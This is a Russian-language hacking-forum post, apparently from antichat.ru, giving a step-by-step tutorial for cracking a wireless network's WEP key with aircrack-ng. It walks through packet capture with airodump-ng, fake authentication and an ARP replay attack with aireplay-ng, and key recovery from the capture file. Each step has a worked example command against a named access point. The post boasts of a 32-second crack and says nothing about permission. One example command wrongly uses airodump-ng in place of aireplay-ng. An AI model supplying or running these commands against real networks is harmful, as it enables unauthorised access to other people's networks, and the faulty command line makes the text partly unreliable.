Итак начнём.
Что нам необходимо?
1)Первое и самое важное это мозги
2)Прямые руки
3)Linux сиситема с установленным пакетом aircrack-ng
4)Wireless карточка с поддержкой monitore mode

Далее. Запускаем 4 консоли.

1ая консоль - airodump-ng [interface] в нашем случае airodump-ng ath0. ath0- интерфейс нашей карточки с включённым monitore mode. значится написали, увидили какие сети есть, метод шифрования, канал, мак, имя, метод аутентификации.
Выбрали сеть, жмём Ctrl+C. пишем далее так: airodump-ng --channel [Канал на котором висит наша точка] --bssid [мак нашей точки] -w [любое название, пакеты будут писаться в файл под этим название-01.cap] [interface]. В нашем случае получилось так: airodump-ng --channel 3 --bssid 00:19:CB:13:61:6B -w xenon ath0

2ая консоль - aireplay-ng -1 1 -e [ESSID-имя точки] [interface] с помощью этого мы ложно аутентифицируемся в сети. В нашем случае:airodump-ng -1 1 -e XENON ath0

3тья консоль - aireplay-ng -3 -e [ESSID] [interface] - это собственно и есть сама ARP атака. В нашем случае:aireplay-ng -3 -e XENON ath0

4ая консоль - aircrack-ng [здесь то название которое вы писали в первой консоли для параметра -w]-01.cap - этой командой как вы уже догадались мы взламываем сам ключ WEP. В нашем случае aircrack-ng xenon-01.cap



сообственно это и всё) запускаем это всё по очереди и ждём когда нам выдадут ключик. Скорее всего прийдётся подождать пока 3тья консоль поймает нужный пакет и начнёт его слать в сеть.




Взлом был произведён за 32 секунды...
Для того чтобы узнать больше функций программ aireplay-ng aircrack-ng airdump-ng просто напишите их без параметров в консоли и они выведут справку где все параметры чётко описываются.
Эксперементируйте с методами атак!
Все вопросы прошу задавать сначала сюда, и если не нашли ответ на ваш вопрос то задвайте его сюда
С уважением ваш XENON специально для antichat.ru